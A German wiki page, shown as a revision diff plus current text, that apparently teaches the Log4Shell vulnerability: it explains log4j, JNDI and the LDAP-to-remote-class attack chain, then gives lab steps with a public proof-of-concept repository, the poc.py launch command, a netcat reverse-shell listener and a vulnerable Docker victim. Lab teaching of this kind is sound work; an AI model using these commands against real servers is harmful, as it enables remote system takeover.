Log4j: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(11 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt)
Zeile 1: Zeile 1:
=Schaubild=
+
=Schaubild Log4j Angriff=
 
{{#drawio:log4j}}
 
{{#drawio:log4j}}
 +
 
=Wirkungsweise=
 
=Wirkungsweise=
 
==Was ist log4j==
 
==Was ist log4j==
Zeile 6: Zeile 7:
 
*Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.  
 
*Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.  
 
*log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.
 
*log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.
==Wie funktioniert es=
+
==Wie funktioniert es==
 
*Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,  
 
*Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,  
 
*log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
 
*log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
Zeile 13: Zeile 14:
 
*Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
 
*Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
 
*Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.
 
*Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.
 +
==JNDI==
 +
*Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java
 +
*Damit können Namensdienste und Verzeichnisdienste angesprochen werden.
 +
*Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
 +
*Nutzern der Schnittstelle können diese abrufen.
 +
==Der Angriff==
 +
*Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen LDAP Server eingeben.
 +
*Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.
 +
*Dieser wird dann zur einer Java-Class kompiliert.
 +
*Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.
 +
*Der angegriffene Server lädt diese runter und führt die Java-Class aus.
 +
*Das könnte beispielsweise eine Remote Shell sein.
  
Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java für Namensdienste und Verzeichnisdienste. Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt und von Nutzern der Schnittstelle abgerufen werden.
+
=Proof of Concept=
 +
*Das Proof of Concept stellt einen LDAP und einen WebServer bereit.
 +
*Es wird Java Source Code erzeugt.
 +
*Dieser wird in Java Byte Code übersetzt.
 +
*Er steht dann als Java-Class bereit.
 +
*Er kann von dem Webserver runtergeladen werden
 +
*Es wird mit netcat ein Port geöffnet mit dem sich das "Opfer" per Remote Shell verbindet
 +
*Zum Schluss wird das Opfer "übernommen"
  
Der Angriff erfolgt folgendermassen. Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben. Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann. Dieser wird dann zur einer Java-Class kompiliert. Am Ende wird auf eine Url verwiesen wo die fertige Java-Class runtergeladen werden kann.
+
=Installation=
 
 
Der angegriffene Server lädt diese runter und führt die Java-Class aus. In unserem Beispiel wird eine Remote Shell ausgeführt.
 
 
 
=Proof of Concept=
 
 
*git clone https://github.com/kozmer/log4j-shell-poc
 
*git clone https://github.com/kozmer/log4j-shell-poc
 
*cd log4j-shell-poc
 
*cd log4j-shell-poc
 +
 
=Download und entpacken=
 
=Download und entpacken=
 
*jdk-8u20-linux-x64.tar.gz
 
*jdk-8u20-linux-x64.tar.gz
 
=Starten des LDAP und Webservers=
 
=Starten des LDAP und Webservers=
*python3 poc.py --userip brian.x-men.de  --webport 8000 --lport 4545
+
*python3 poc.py --userip kali --webport 8000 --lport 4545
 
[[Datei:Log4j-1.png]]
 
[[Datei:Log4j-1.png]]
 +
 
=Remoteshell listining=
 
=Remoteshell listining=
 
*netcat -lp 4545
 
*netcat -lp 4545
 
[[Datei:Log4j-2.png]]
 
[[Datei:Log4j-2.png]]
  
=App starten eventuell auf anderem Rechner=
+
=Beispiel Opfer=
 +
*App starten
 +
=Installation=
 
*git clone https://github.com/kozmer/log4j-shell-poc
 
*git clone https://github.com/kozmer/log4j-shell-poc
 
*cd log4j-shell-poc
 
*cd log4j-shell-poc
 
*docker build -t log4j-shell-poc .
 
*docker build -t log4j-shell-poc .
 
*docker run --network host log4j-shell-poc
 
*docker run --network host log4j-shell-poc
 +
 
=Webseite öffnen=
 
=Webseite öffnen=
 +
Auf Port 8080
 +
 
[[Datei:Log4j-3.png]]
 
[[Datei:Log4j-3.png]]
 +
 
=Exploit=
 
=Exploit=
 +
*Hier erfolgt die Übernahme des Systems
 
[[Datei:Log4j-4.png]]
 
[[Datei:Log4j-4.png]]
  
 
=Exploit=
 
=Exploit=
 
*https://www.exploit-db.com/exploits/50592
 
*https://www.exploit-db.com/exploits/50592

Aktuelle Version vom 14. Februar 2023, 08:07 Uhr

Schaubild Log4j Angriff

Wirkungsweise

Was ist log4j

  • log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java.
  • Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.
  • log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.

Wie funktioniert es

  • Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,
  • log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
  • Neben der Auswahl des Loggingsystems gibt es noch die Wichtigkeit („Log-Level“) der Meldung.
  • Aufgrund dieser wird entschieden ob überhaupt weitergeleitet wird.
  • Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
  • Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.

JNDI

  • Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java
  • Damit können Namensdienste und Verzeichnisdienste angesprochen werden.
  • Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
  • Nutzern der Schnittstelle können diese abrufen.

Der Angriff

  • Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen LDAP Server eingeben.
  • Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.
  • Dieser wird dann zur einer Java-Class kompiliert.
  • Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.
  • Der angegriffene Server lädt diese runter und führt die Java-Class aus.
  • Das könnte beispielsweise eine Remote Shell sein.

Proof of Concept

  • Das Proof of Concept stellt einen LDAP und einen WebServer bereit.
  • Es wird Java Source Code erzeugt.
  • Dieser wird in Java Byte Code übersetzt.
  • Er steht dann als Java-Class bereit.
  • Er kann von dem Webserver runtergeladen werden
  • Es wird mit netcat ein Port geöffnet mit dem sich das "Opfer" per Remote Shell verbindet
  • Zum Schluss wird das Opfer "übernommen"

Installation

Download und entpacken

  • jdk-8u20-linux-x64.tar.gz

Starten des LDAP und Webservers

  • python3 poc.py --userip kali --webport 8000 --lport 4545

Log4j-1.png

Remoteshell listining

  • netcat -lp 4545

Log4j-2.png

Beispiel Opfer

  • App starten

Installation

Webseite öffnen

Auf Port 8080

Log4j-3.png

Exploit

  • Hier erfolgt die Übernahme des Systems

Log4j-4.png

Exploit